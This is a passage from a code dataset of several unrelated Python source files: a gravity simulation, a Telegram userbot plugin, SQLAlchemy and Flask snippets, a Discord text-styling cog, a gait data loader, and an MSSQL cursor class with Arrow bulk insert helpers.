** 2 + dy ** 2)\n\n F = - body.mass / (d ** 2)\n\n costheta = dz / d\n sintheta = dxy / d\n cosphi = dx / dxy\n sinphi = dy / dxy\n\n f1 = F * sintheta * cosphi\n f2 = F * sintheta * sinphi\n f3 = F * costheta\n\n fx += f1\n fy += f2\n fz += f3\n return fx, fy, fz\n\n def movement(self, objects, day):\n ax, ay, az = self.acceleration(objects)\n\n self.x += self.vx * day + .5 * ax * day**2\n self.y += self.vy * day + .5 * ay * day**2\n self.z += self.vz * day + .5 * az * day**2\n\n self.vx += ((ax + self.ax*0)) * day\n self.vy += ((ay + self.ay*0)) * day\n self.vz += ((az + self.az*0)) * day\n\n self.ax = ax\n self.ay = ay\n self.az = az\n\n self.pos.append((self.x, self.y, self.z))\n\n def energycalc(self, object2):\n self.energy = self.mass * ((0.5 * (self.vx ** 2 + self.vy ** 2 + self.vz ** 2))\\\n - (object2.mass / np.sqrt((object2.z - self.z) ** 2 + (object2.y - self.y) ** 2 + (object2.x - self.x) ** 2)))\n\n def info(self):\n print(f'{self.name} Position = {self.x},{self.y},{self.z} \\nVelocity = {self.vx},{self.vy},{self.vz}')\n\n\ndef main():\n # defining each object\n Sun = objec((0, 0, 0), 1, \"Sun\", \"#d40404\")\n Earth = objec((1, 0, 0), 3.00348959632e-6, \"Earth\", \"#0985eb\", 0, 1, 0)\n\n objects = [Sun, Earth]\n for obje in objects:\n obje.initial_force(objects)\n\n\n time = np.arange(0, 2*np.pi, 2*np.pi/365)\n\n day = time[1]\n\n trace = []\n\n energy = []\n en = 0\n\n for i, _ in tqdm(enumerate(time), total=time.size):\n for obj in objects:\n obj.movement(objects, day)\n for body in objects:\n if body != obj:\n obj.energycalc(body)\n en += obj.energy\n energy.append(en)\n\n for obj in objects:\n obj.pos = np.array(obj.pos)\n trace.append(px.Scatter3d(\n x=obj.pos[:, 0],\n y=obj.pos[:, 1],\n z=obj.pos[:, 2],\n mode='lines',\n line=dict(\n color=obj.colour,\n width=15\n ),\n ))\n\n fig = px.Figure(data=trace)\n plotly.offline.plot(fig)\n plt.xlabel(\"Time\")\n plt.ylabel(\"Energy\")\n plt.title(\"Leapfrog\")\n plt.plot(energy)\n plt.show()\n\n plt.xlabel(\"Time\")\n plt.ylabel(\"Position\")\n plt.title(\"Leapfrog\")\n plt.plot(obj.pos[:,2])\n plt.show()\n\n\nmain()","repo_name":"Migelo/Gravitational-simulation","sub_path":"leapfrog.py","file_name":"leapfrog.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24543586151","text":"import re\nimport userbot.modules.sql_helper.mesaj_sql as sql\nfrom userbot import CMD_HELP\nfrom userbot.events import register\nfrom userbot.main import PLUGIN_MESAJLAR, ORJ_PLUGIN_MESAJLAR, PLUGIN_CHANNEL_ID\nfrom userbot.cmdhelp import CmdHelp\n\n# ██████ LANGUAGE CONSTANTS ██████ #\n\nfrom userbot.language import get_value\nLANG = get_value(\"degistir\")\n\n# ████████████████████████████████ #\n\n@register(outgoing=True, pattern=\"^.deyisdir ?(.*)\")\n@register(outgoing=True, pattern=\"^.değiştir ?(.*)\")\n@register(outgoing=True, pattern=\"^.change ?(.*)\")\nasync def degistir(event):\n plugin = event.pattern_match.group(1)\n mesaj = re.search(r\"\\\"(.*)\\\"\", plugin)\n\n if mesaj:\n rege = re.findall(r\"(?:|$)(.*)\\\"(.*)\\\"\", plugin)\n plugin = rege[0][0]\n mesaj = rege[0][1]\n else:\n mesaj = []\n\n plugin = plugin.strip()\n TURLER = [\"afk\", \"alive\", \"pm\", \"kickme\", \"dızcı\", \"ban\", \"mute\", \"approve\", \"disapprove\", \"block\", \"nonafk\", \"salive\"]\n if type(mesaj) is list:\n if plugin in TURLER:\n if event.is_reply:\n reply = await event.get_reply_message()\n if reply.media:\n mesaj = await reply.forward_to(PLUGIN_CHANNEL_ID)\n PLUGIN_MESAJLAR[plugin] = reply\n sql.ekle_mesaj(plugin, f\"MEDYA_{mesaj.id}\")\n return await event.edit(f\"Plugin(`{plugin}`) {LANG['SETTED_MEDIA']}\")\n PLUGIN_MESAJLAR[plugin] = reply.text\n sql.ekle_mesaj(plugin, reply.text)\n return await event.edit(f\"Plugin(`{plugin}`) {LANG['SETTED_REPLY']}\") \n\n silme = sql.sil_mesaj(plugin)\n if silme == True:\n PLUGIN_MESAJLAR[plugin] = ORJ_PLUGIN_MESAJLAR[plugin]\n await event.edit(LANG['SUCCESS_DELETED'])\n else:\n await event.edit(f\"{LANG['ERROR_DELETED']}: `{silme}`\")\n else:\n await event.edit(LANG['NOT_FOUND'] + \":`afk/alive/pm/kickme/dızcı/ban/mute/approve/disapprove/block/nonafk/salive`\")\n elif len(plugin) < 1:\n await event.edit(LANG['USAGE'])\n elif type(mesaj) is str:\n if plugin in TURLER:\n if mesaj.isspace():\n await event.edit(LANG['CANNOT_EMPTY'])\n return\n else:\n PLUGIN_MESAJLAR[plugin] = mesaj\n sql.ekle_mesaj(plugin, mesaj)\n await event.edit(LANG['SETTED'].format(plu=plugin, msj=mesaj))\n else:\n await event.edit(LANG['NOT_FOUND'] + \":`afk/alive/pm/kickme/dızcı/ban/mute/approve/disapprove/block/nonafk/salive`\")\n\n \nCmdHelp('deyisdir').add_command(\n 'deyisdir', ' ', 'Dəyişdir, botdakı plugin-mesajlarını dəyişdirmənizə yarayır. Əgər mesaj yazmazsanız Plugin mesajını orijinal halına döndərər.', '.deyisdir afk \\\"İndi burada deiləm... Bəlkə heç vaxt gəlmədim\\\"'\n).add_info(\n '**Dəstəklənən Pluginlər:** `afk/alive/pm/kickme/dızcı/ban/mute/approve/disapprove/block/nonafk`\\n**Alive Dəyişkənləri:** `{plugin}, {telethon}, {cyber}, {python}, {ad}, {vaxt}`\\n\\\n**Ban/Mute Dəyişkənləri:** `{id}, {username}, {first_name}, {last_name}, {mention}, {date}, {count}`\\n\\\n**AFK Dəyişkənləri:** `{username}, {mention}, {first_name}, {last_name}, {last_seen_seconds}, {last_seen}, {last_seen_long}`\\n\\\n**PMpermit Dəyişkənlər(pm, block, approve, disapprove):** `{id}, {username}, {mention}, {first_name}, {last_name}`\\\n**Kickme Dəyişkənləri:** `{title}`'\n).add()\n","repo_name":"FaridDadashzade/CyberUserBot","sub_path":"userbot/modules/deyisdir.py","file_name":"deyisdir.py","file_ext":"py","file_size_in_byte":3635,"program_lang":"python","lang":"az","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"33315670696","text":"#!/usr/bin/python3\n\"\"\" module for selecting states if they contain an \"a\" \"\"\"\n\nfrom model_state import State, Base\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import Session\nfrom sys import argv\n\nif __name__ == \"__main__\":\n usr = argv[1]\n pwd = argv[2]\n db_ = argv[3]\n\n engine = create_engine(f\"mysql+mysqldb://{usr}:{pwd}@localhost/{db_}\")\n\n session = Session(engine)\n\n rows_of_states = session.query(State).filter(State.name.like(\"%a%\")).all()\n\n for state in rows_of_states:\n print(f\"{state.id}: {state.name}\")\n session.close()\n","repo_name":"adaptingadapting/holbertonschool-higher_level_programming","sub_path":"python-object_relational_mapping/9-model_state_filter_a.py","file_name":"9-model_state_filter_a.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1773096692","text":"import asyncio\nimport discord\nimport logging\nimport random\nfrom functools import partial\nfrom pyfiglet import Figlet\nfrom discord.ext import commands\n\nlog = logging.getLogger(f'charfred.{__name__}')\n\nsuperscript = [\n \"\\u030d\", \"\\u030e\", \"\\u0304\", \"\\u0305\", \"\\u033f\",\n \"\\u0311\", \"\\u0306\", \"\\u0310\", \"\\u0352\", \"\\u0357\",\n \"\\u0351\", \"\\u0307\", \"\\u0308\", \"\\u030a\", \"\\u0342\",\n \"\\u0343\", \"\\u0344\", \"\\u034a\", \"\\u034b\", \"\\u034c\",\n \"\\u0303\", \"\\u0302\", \"\\u030c\", \"\\u0350\", \"\\u0300\",\n \"\\u030b\", \"\\u030f\", \"\\u0312\", \"\\u0313\", \"\\u0314\",\n \"\\u033d\", \"\\u0309\", \"\\u0363\", \"\\u0364\", \"\\u0365\",\n \"\\u0366\", \"\\u0367\", \"\\u0368\", \"\\u0369\", \"\\u036a\",\n \"\\u036b\", \"\\u036c\", \"\\u036d\", \"\\u036e\", \"\\u036f\",\n \"\\u033e\", \"\\u035b\", \"\\u0346\", \"\\u031a\"\n]\n\nmiddlescript = [\n \"\\u0315\", \"\\u031b\", \"\\u0340\", \"\\u0341\", \"\\u0358\",\n \"\\u0321\", \"\\u0322\", \"\\u0327\", \"\\u0328\", \"\\u0334\",\n \"\\u0335\", \"\\u0336\", \"\\u034f\", \"\\u035c\", \"\\u035d\",\n \"\\u035e\", \"\\u035f\", \"\\u0360\", \"\\u0362\", \"\\u0338\",\n \"\\u0337\", \"\\u0361\", \"\\u0489\"\n]\n\nsubscript = [\n \"\\u0316\", \"\\u0317\", \"\\u0318\", \"\\u0319\", \"\\u031c\",\n \"\\u031d\", \"\\u031e\", \"\\u031f\", \"\\u0320\", \"\\u0324\",\n \"\\u0325\", \"\\u0326\", \"\\u0329\", \"\\u032a\", \"\\u032b\",\n \"\\u032c\", \"\\u032d\", \"\\u032e\", \"\\u032f\", \"\\u0330\",\n \"\\u0331\", \"\\u0332\", \"\\u0333\", \"\\u0339\", \"\\u033a\",\n \"\\u033b\", \"\\u033c\", \"\\u0345\", \"\\u0347\", \"\\u0348\",\n \"\\u0349\", \"\\u034d\", \"\\u034e\", \"\\u0353\", \"\\u0354\",\n \"\\u0355\", \"\\u0356\", \"\\u0359\", \"\\u035a\", \"\\u0323\"\n]\n\nzalgoScripts = [superscript, middlescript, subscript]\n\n\nclass FunkyText(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n def _zalgofy(self, amount, text):\n if amount < 0:\n text = text[:abs(amount)]\n elif amount == 0:\n text = text[:1]\n amount = 10\n\n if not text:\n text = 'HE SEES!'\n\n nonspaceindeces = [i for i, c in enumerate(text) if not c.isspace()]\n zalgoindeces = [random.choice(nonspaceindeces) for _ in range(amount)]\n text = list(text)\n\n for i in zalgoindeces:\n text[i] = f'{random.choice(random.choice(zalgoScripts))}{text[i]}'\n\n text = ''.join(text)\n return text\n\n @commands.command()\n async def zalgo(self, ctx, amount, *, text: str):\n \"\"\"Zalgofy some text.\n\n Takes a number for the amount and some text.\n Optionally you can enter 'nickname' instead of\n an amount, to get a (hopefully) 32-character-limit\n friendly result.\n \"\"\"\n\n if amount == 'nickname':\n z = partial(self._zalgofy, (32 - len(text)), text)\n else:\n z = partial(self._zalgofy, int(amount), text)\n\n msg = await asyncio.get_event_loop().run_in_executor(None, z)\n\n try:\n log.info('HE APPROVES!')\n await ctx.message.delete()\n except discord.Forbidden:\n log.warning('Couldn\\'t delete msg!')\n pass\n finally:\n await ctx.send(msg)\n\n @commands.command()\n async def figlet(self, ctx, fnt: str, *, text: str):\n \"\"\"Apply a figlet font to some text.\n\n Takes a fontname and some text.\n \"\"\"\n\n try:\n log.info('Figyfy!')\n fig = Figlet(font=fnt)\n except:\n log.warning('Couldn\\'t find font!')\n await ctx.send(f'Sorry, but {fnt} isn\\'t known to pyfiglet!')\n await ctx.send('Please see http://www.figlet.org/fontdb.cgi\\n'\n 'for a list of all available fonts, with examples!')\n else:\n figText = fig.renderText(text)\n\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n log.warning('Couldn\\'t delete msg!')\n pass\n finally:\n await ctx.send(f'```\\n{figText}\\n```')\n\n\nasync def setup(bot):\n await bot.add_cog(FunkyText(bot))\n","repo_name":"Kellador/Charfred_Cogs","sub_path":"funcogs/funkytext.py","file_name":"funkytext.py","file_ext":"py","file_size_in_byte":3893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14153533714","text":"from tracksim import reader\nfrom tracksim.coupling.plotting import styles\nimport pandas as pd\nimport typing\nimport numpy as np\n\n\ndef to_data_entry(trial: dict) -> dict:\n \"\"\"\n\n :param trial:\n :return:\n \"\"\"\n\n gait_id, remainder = trial['id'].split('-', 1)\n gait_name = remainder.split('_', 1)[0]\n\n try:\n separation = int(gait_name[-1])\n gait_name = gait_name[:-1]\n except Exception:\n separation = 1\n\n duty_cycle = int(100 * trial['settings']['duty_cycle'])\n short_id = '{}-{} ({}%)'.format(gait_id, separation, duty_cycle)\n\n return dict(\n id=trial['id'],\n short_id=short_id,\n duty_cycle=duty_cycle,\n gait_id=gait_id,\n gait_index=int(gait_id[1]),\n gait_name=gait_name,\n separation=separation,\n coupling_length=trial['couplings']['value']['value'],\n uncertainty=trial['couplings']['value']['uncertainty'],\n start_time=trial['times']['cycles'][0],\n end_time=trial['times']['cycles'][-1],\n color=styles.GAIT_COLORS[int(gait_id[1])]\n )\n\n\ndef load(\n group_ids: list = None,\n trial_ids: list = None,\n row_filter: typing.Callable = None\n):\n \"\"\"\n\n :param group_ids:\n :param trial_ids:\n :param row_filter:\n :return:\n \"\"\"\n\n if not group_ids:\n group_ids = []\n groups = [reader.group(gid) for gid in group_ids]\n\n if not trial_ids:\n trial_ids = []\n trials = [reader.trial(tid) for tid in trial_ids]\n\n for g in groups:\n trials += g['trials']\n\n df = []\n for trial in trials:\n df.append(to_data_entry(trial))\n trial['short_id'] = df[-1]['short_id']\n\n df = pd.DataFrame(df).sort_values(\n by=['coupling_length', 'gait_index', 'duty_cycle']\n )\n\n if row_filter is not None:\n df['keep'] = df.apply(row_filter, axis=1)\n df = df[df.keep]\n df.drop('keep', 1)\n\n keep_trial_ids = df['id'].tolist()\n keep_trials = []\n\n for trial in trials:\n if trial['id'] in keep_trial_ids:\n keep_trials.append(trial)\n trials = keep_trials\n\n df['order'] = np.arange(0, df.shape[0], 1)\n df['relative_uncertainty'] = df.uncertainty / df.coupling_length\n\n return dict(\n trials=trials,\n groups=groups,\n df=df\n )\n\n\ndef redundant_filter(row):\n \"\"\"\n\n :param row:\n :return:\n \"\"\"\n\n if row.gait_index in [0, 4] and row.duty_cycle > 50:\n # Remove trots and paces with DC > 50% because they are duplicates\n return False\n\n if row.duty_cycle > 60 and row.gait_index in [1, 2, 5, 6]:\n # Remove with DC > 0.5 because they are duplicates\n return False\n\n if row.gait_index == 7 and row.separation == 0:\n # Remove the smallest solutions because they are not physically\n # reasonable\n return False\n\n return True\n","repo_name":"sernst/Trackway-Gait-Analysis","sub_path":"tracksim/coupling/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":2879,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"72743265522","text":"from rdflib import Graph\n\nclass Qudt(Graph) :\n __instance = None\n\n @staticmethod\n def instance():\n if Qudt.__instance == None:\n Qudt()\n return Qudt.__instance\n\n def __init__(self):\n if Qudt.__instance != None:\n raise Exception(\"Qudt is a singleton!\")\n super(Qudt, self).__init__()\n Qudt.__instance = self\n print (\"preparing qudt\")\n self.parse(\"../data/QUDTv2.ttl\", format=\"turtle\")","repo_name":"frank-fzi/examples","sub_path":"MDP/code/qudt.py","file_name":"qudt.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72214316081","text":"from flask import Blueprint, jsonify\r\nfrom models.facturamodel import FacturaModel\r\n\r\nfactura_bp = Blueprint('factura_bp', __name__)\r\n\r\n@factura_bp.route('/', methods=['GET'])\r\ndef get_invoice_number():\r\n try:\r\n incremented_number = FacturaModel.get_incremented_number()\r\n return jsonify({\r\n 'ok': True,\r\n 'status': 200,\r\n 'data': {'nroFactura': incremented_number}\r\n }), 200\r\n except Exception as e:\r\n print(e)\r\n return jsonify({\r\n 'ok': False,\r\n 'status': 500,\r\n 'message': str(e)\r\n }), 500\r\n","repo_name":"elicuralli/ADMINISTRACION","sub_path":"src/routes/factura.py","file_name":"factura.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"192845284","text":"__all__ = [\n \"Cursor\",\n \"prepare_insert_array\",\n \"prepare_insert_batch\",\n \"prepare_bulk_csv_array\",\n \"prepare_bulk_csv_batch\"\n]\n\n\nimport os\nimport tempfile\nfrom abc import ABC, abstractmethod\nfrom pathlib import Path\nfrom typing import Optional, Generator, Any, Union, Callable\n\nimport pyarrow.compute as pc\nimport pyarrow.csv as pcsv\nfrom pyarrow import Schema, schema, field, RecordBatch, Table, RecordBatchReader, \\\n Array, ChunkedArray, array, TimestampType, Decimal128Type, Decimal256Type, FixedSizeBinaryType, NativeFile\nfrom pyarrow.fs import FileSystem, LocalFileSystem, FileSelector, FileType, FileInfo\n\ntry:\n from pyarrow.parquet import ParquetFile, read_table\nexcept ImportError:\n class ParquetFile:\n def __enter__(self):\n pass\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n pass\n\nfrom .table import SQLView, SQLTable\nfrom .config import DEFAULT_BATCH_ROW_SIZE, DEFAULT_SAFE_MODE, DEFAULT_ARROW_BATCH_ROW_SIZE\nfrom .utils import prepare_insert_batch_statement, prepare_insert_statement, return_iso\nfrom .utils.typing import ArrowData\nfrom .utils.arrow import cast_arrow, FLOAT64, LARGE_BINARY, BINARY, LARGE_STRING, STRING, TIMES, \\\n TIMEUS, TIMEMS, TIMENS, intersect_schemas, get_field\n\n\ndef binary_to_hex(scalar) -> Optional[bytes]:\n pyscalar: bytes = scalar.as_py()\n return pyscalar if pyscalar is None else pyscalar.hex()\n\n\nINSERT_BATCH = {\n TimestampType: lambda arr: pc.utf8_slice_codeunits(arr.cast(STRING), 0, 27),\n TIMES: lambda arr: arr.cast(STRING),\n TIMEMS: lambda arr: arr.cast(STRING),\n TIMEUS: lambda arr: arr.cast(STRING),\n TIMENS: lambda arr: pc.utf8_slice_codeunits(arr.cast(STRING), 0, 16)\n}\n\nCSV_DTYPES = {\n Decimal128Type: lambda arr: arr.cast(FLOAT64),\n Decimal256Type: lambda arr: arr.cast(FLOAT64),\n BINARY: lambda arr: array([binary_to_hex(_) for _ in arr], STRING),\n FixedSizeBinaryType: lambda arr: array([binary_to_hex(_) for _ in arr], STRING),\n LARGE_BINARY: lambda arr: array([binary_to_hex(_) for _ in arr], LARGE_STRING),\n **INSERT_BATCH\n}\n\n\ndef prepare_bulk_csv_array(arr: Union[Array, ChunkedArray]):\n if arr.type in CSV_DTYPES:\n return CSV_DTYPES[arr.type](arr)\n elif arr.type.__class__ in CSV_DTYPES:\n return CSV_DTYPES[arr.type.__class__](arr)\n return arr\n\n\ndef prepare_bulk_csv_batch(data: Union[RecordBatch, Table]) -> Union[RecordBatch, Table]:\n arrays = [prepare_bulk_csv_array(arr) for arr in data]\n\n return data.__class__.from_arrays(arrays, schema=schema([\n field(data.schema[i].name, arrays[i].type, data.schema[i].nullable)\n for i in range(len(data.schema))\n ]))\n\n\ndef prepare_insert_array(arr: Union[Array, ChunkedArray]):\n if arr.type in INSERT_BATCH:\n return INSERT_BATCH[arr.type](arr)\n elif arr.type.__class__ in INSERT_BATCH:\n return INSERT_BATCH[arr.type.__class__](arr)\n return arr\n\n\ndef prepare_insert_batch(data: Union[RecordBatch, Table]) -> Union[RecordBatch, Table]:\n arrays = [prepare_insert_array(arr) for arr in data]\n\n return data.__class__.from_arrays(arrays, schema=schema([\n field(data.schema[i].name, arrays[i].type, data.schema[i].nullable)\n for i in range(len(data.schema))\n ]))\n\n\ndef linearize(it):\n for _0 in it:\n for _1 in _0:\n yield _1\n\n\ndef concat_rows(rows, batch_size: int = 1):\n while len(rows) > batch_size:\n resized, rows = rows[:batch_size], rows[batch_size:]\n yield list(linearize(resized))\n if len(rows) > 0:\n yield list(linearize(rows))\n\n\nclass Cursor(ABC):\n\n @staticmethod\n def safe_commit_size(commit_size: int, columns_len: int):\n return int(min(columns_len * commit_size, 2099) / columns_len)\n\n def __init__(self, connection: \"Connection\", nocount: bool = True, timeout: int = 0):\n self.closed = False\n\n self.connection = connection\n\n self.nocount = nocount\n self.timeout = timeout\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.close()\n\n def __bool__(self):\n return not self.closed\n\n @property\n def server(self) -> \"MSSQL\":\n return self.connection.server\n\n @property\n @abstractmethod\n def schema_arrow(self) -> Schema:\n raise NotImplemented\n\n def close(self) -> None:\n self.closed = True\n\n def commit(self):\n self.connection.commit()\n\n def rollback(self):\n self.connection.rollback()\n\n @property\n def fast_executemany(self):\n return False\n\n @fast_executemany.setter\n def fast_executemany(self, fast_executemany: bool):\n pass\n\n @abstractmethod\n def execute(self, sql: str, *args, **kwargs) -> \"Cursor\":\n raise NotImplemented\n\n @abstractmethod\n def executemany(self, sql: str, *args, **kwargs) -> \"Cursor\":\n raise NotImplemented\n\n # row oriented\n @abstractmethod\n def fetchone(self) -> Optional[tuple[Any]]:\n raise NotImplemented\n\n @abstractmethod\n def fetchmany(self, n: int = DEFAULT_BATCH_ROW_SIZE) -> Optional[list[tuple[Any]]]:\n raise NotImplemented\n\n def fetchall(self, buffersize: int = DEFAULT_BATCH_ROW_SIZE) -> list[tuple[Any]]:\n buf = []\n for rows in self.fetch_row_batches(buffersize):\n buf.extend(rows)\n return buf\n\n def fetch_row_batches(self, n: int) -> Generator[list[tuple[Any]], None, None]:\n while 1:\n rows = self.fetchmany(n)\n if not rows:\n break\n yield rows\n \n def rows(self, buffersize: int = DEFAULT_BATCH_ROW_SIZE) -> Generator[tuple[Any], None, None]:\n for batch in self.fetch_row_batches(buffersize):\n for row in batch:\n yield row\n \n # column oriented\n def fetch_arrow_batches(\n self,\n n: int = DEFAULT_ARROW_BATCH_ROW_SIZE,\n safe: bool = DEFAULT_SAFE_MODE\n ) -> Generator[RecordBatch, None, None]:\n empty = True\n\n for batch in self.fetch_row_batches(n):\n yield cast_arrow(\n RecordBatch.from_arrays(\n [\n array(\n [row[i] for row in batch],\n from_pandas=False,\n safe=safe\n )\n for i in range(len(self.schema_arrow))\n ],\n names=self.schema_arrow.names\n ),\n self.schema_arrow,\n safe=False\n )\n empty = False\n\n if empty:\n yield RecordBatch.from_pylist([], schema=self.schema_arrow)\n\n def fetch_arrow(\n self,\n n: int = DEFAULT_ARROW_BATCH_ROW_SIZE,\n safe: bool = DEFAULT_SAFE_MODE\n ) -> Table:\n return Table.from_batches(self.fetch_arrow_batches(n, safe), schema=self.schema_arrow)\n\n def reader(\n self,\n n: int = DEFAULT_ARROW_BATCH_ROW_SIZE,\n safe: bool = DEFAULT_SAFE_MODE\n ) -> RecordBatchReader:\n return RecordBatchReader.from_batches(self.schema_arrow, self.fetch_arrow_batches(n, safe))\n\n # object\n # table\n def tables(self, catalog: str = \"%%\", schema: str = \"%%\", expression: Optional[str] = None):\n stmt = \"SELECT TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME, TABLE_TYPE, OBJECT_ID('[' + TABLE_CATALOG + '].[' + \" \\\n \"TABLE_SCHEMA + '].[' + TABLE_NAME + ']') as oid FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG \" \\\n \"LIKE '%s' AND TABLE_SCHEMA LIKE '%s'\" % (catalog, schema)\n if expression:\n stmt += \" AND TABLE_NAME LIKE '%s'\" % expression\n for row in self.execute(stmt).rows(50):\n yield SQLTable(self, catalog=row[0], schema=row[1], name=row[2], type=row[3], object_id=row[4])\n\n def table(self, name: str, catalog: str = \"%%\", schema: str = \"%%\"):\n for t in self.tables(catalog, schema, name):\n return t\n raise ValueError(\"Cannot find table [%s].[%s].[%s]\" % (catalog, schema, name))\n\n def views(self, catalog: str = \"%%\", schema: str = \"%%\", expression: Optional[str] = None):\n stmt = \"SELECT TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME, OBJECT_ID('[' + TABLE_CATALOG + '].[' + \" \\\n \"TABLE_SCHEMA + '].[' + TABLE_NAME + ']') as oid FROM INFORMATION_SCHEMA.VIEWS WHERE TABLE_CATALOG \" \\\n \"LIKE '%s' AND TABLE_SCHEMA LIKE '%s'\" % (catalog, schema)\n if expression:\n stmt += \" AND TABLE_NAME LIKE '%s'\" % expression\n for row in self.execute(stmt).rows(50):\n yield SQLView(self, catalog=row[0], schema=row[1], name=row[2], type=\"VIEW\", object_id=row[3])\n\n def view(self, name: str, catalog: str = \"%%\", schema: str = \"%%\"):\n for t in self.views(catalog, schema, name):\n return t\n raise ValueError(\"Cannot find view [%s].[%s].[%s]\" % (catalog, schema, name))\n\n def table_or_view(self, name: str, catalog: str = \"%%\", schema: str = \"%%\"):\n for t in self.tables(catalog, schema, name):\n return t\n for t in self.views(catalog, schema, name):\n return t\n raise ValueError(\"Cannot find table / view [%s].[%s].[%s]\" % (catalog, schema, name))\n\n def safe_table_or_view(self, table: Union[SQLTable, tuple[str, str, str], str]):\n if isinstance(table, SQLTable):\n return table\n elif isinstance(table, str):\n return self.table_or_view(table)\n else:\n catalog, schema, name = table\n return self.table_or_view(name, schema=schema, catalog=catalog)\n\n # Inserts\n # INSERT INTO VALUES\n def insert_pylist(\n self,\n table: Union[str, \"SQLTable\"],\n rows: list[Union[list[Any], tuple[Any]]],\n columns: list[str],\n stmt: str = \"\",\n commit: bool = True,\n tablock: bool = False,\n commit_size: int = 1,\n retry: int = 0\n ):\n \"\"\"\n Insert values like list[list[Any]]\n\n :param table: table name or msq.SQLTable\n :param rows: row batch: list[list[Any]]\n :param columns: column names\n :param stmt:\n :param commit: commit at the end\n :param tablock: see self.prepare_insert_statement or self.prepare_insert_batch_statement\n :param commit_size: number of row batch in insert values\n Must be 0 > batch_size > 1001 and len(columns) * commit_size <= 2100\n :param retry: number of retry\n Error example:\n Transaction (Process ID 56) was deadlocked on lock resources with another process and has been chosen\n as the deadlock victim. Rerun the transaction. (1205) (SQLExecute)\n :return: None\n \"\"\"\n if rows:\n if commit_size > 1:\n # https://stackoverflow.com/questions/845931/maximum-number-of-parameters-in-sql-query/845972#845972\n # Maximum < 2100 parameters\n commit_size = self.safe_commit_size(commit_size, len(columns))\n\n stmt = stmt if stmt else prepare_insert_batch_statement(\n table, columns, tablock=tablock, commit_size=commit_size\n )\n\n rows: list[list] = list(concat_rows(rows, commit_size))\n\n if len(rows) == 1:\n last = rows[0]\n else:\n last = rows[-1]\n\n success, itry = False, 0\n while not success:\n itry += 1\n try:\n self.executemany(stmt, rows[:-1])\n success = True\n break\n except Exception as e:\n if \"Rerun the transaction\" in str(e):\n if itry > retry:\n raise e\n else:\n raise e\n\n success, itry = False, 0\n while not success:\n itry += 1\n try:\n self.executemany(\n prepare_insert_batch_statement(\n table, columns, tablock=tablock, commit_size=int(len(last) / len(columns))\n ),\n [last]\n )\n success = True\n break\n except Exception as e:\n if \"Rerun the transaction\" in str(e):\n if itry > retry:\n raise e\n else:\n raise e\n else:\n success, itry = False, 0\n while not success:\n itry += 1\n try:\n self.executemany(\n stmt if stmt else prepare_insert_statement(table, columns, tablock=tablock),\n rows\n )\n success = True\n break\n except Exception as e:\n if \"Rerun the transaction\" in str(e):\n if itry > retry:\n raise e\n else:\n raise e\n if commit:\n self.commit()\n\n def bulk_insert_file(\n self,\n table: Union[str, \"SQLTable\"],\n file: Union[str, Path],\n commit: bool = True,\n file_format: str = \"CSV\",\n field_terminator: str = \",\",\n row_terminator: str = \"\\n\",\n field_quote: str = '\"',\n datafile_type: str = 'char',\n first_row: int = 2,\n code_page: str = '65001',\n tablock: bool = False,\n other_options: str = \"\"\n ):\n \"\"\"\n See https://learn.microsoft.com/en-us/sql/t-sql/statements/bulk-insert-transact-sql?view=sql-server-2017\n\n :param table: name or SQLTable\n :param file:\n :param commit:\n :param file_format:\n :param field_terminator: separator, default = ','\n :param row_terminator:\n :param field_quote:\n :param datafile_type:\n :param first_row:\n :param code_page: encoding, default '65001' = utf-8\n :param tablock: use TABLOCK options\n :param other_options: string to append: WITH (FORMAT = 'file_format', %s) % other_options\n :return: None\n \"\"\"\n options = \"FORMAT = '%s', DATAFILETYPE = '%s', FIRSTROW = %s, FIELDQUOTE = '%s', ROWTERMINATOR = '%s', \" \\\n \"CODEPAGE = '%s', FIELDTERMINATOR = '%s'\" % (\n file_format, datafile_type, first_row, field_quote, row_terminator, code_page,\n field_terminator\n )\n if tablock:\n options += \", TABLOCK\"\n if other_options:\n options += \", \" + other_options\n\n self.execute(\"\"\"BULK INSERT %s FROM '%s' WITH (%s)\"\"\" % (table, file, options))\n if commit:\n self.commit()\n\n def bulk_insert_arrow(\n self,\n table: Union[str, \"SQLTable\"],\n data: ArrowData,\n base_dir: Optional[str] = None,\n cast: bool = True,\n safe: bool = DEFAULT_SAFE_MODE,\n commit: bool = True,\n delimiter: str = \",\",\n file_format: str = \"CSV\",\n tablock: bool = False,\n **bulk_options: dict[str, str]\n ):\n if base_dir is None:\n with tempfile.TemporaryDirectory() as base_dir:\n return self.bulk_insert_arrow(\n table,\n data,\n base_dir=base_dir,\n cast=cast,\n safe=safe,\n commit=commit,\n delimiter=delimiter,\n file_format=file_format,\n tablock=tablock,\n **bulk_options\n )\n else:\n table = self.safe_table_or_view(table)\n\n if cast:\n data = cast_arrow(data, table.schema_arrow, safe, fill_empty=True, drop=False)\n\n if isinstance(data, (RecordBatch, Table)):\n tmp_file = os.path.join(base_dir, os.urandom(8).hex()) + \".csv\"\n\n # write in tmp file\n try:\n pcsv.write_csv(\n prepare_bulk_csv_batch(data),\n tmp_file,\n pcsv.WriteOptions(delimiter=delimiter)\n )\n\n self.bulk_insert_file(\n table,\n file=tmp_file,\n commit=commit,\n file_format=file_format,\n field_terminator=delimiter,\n 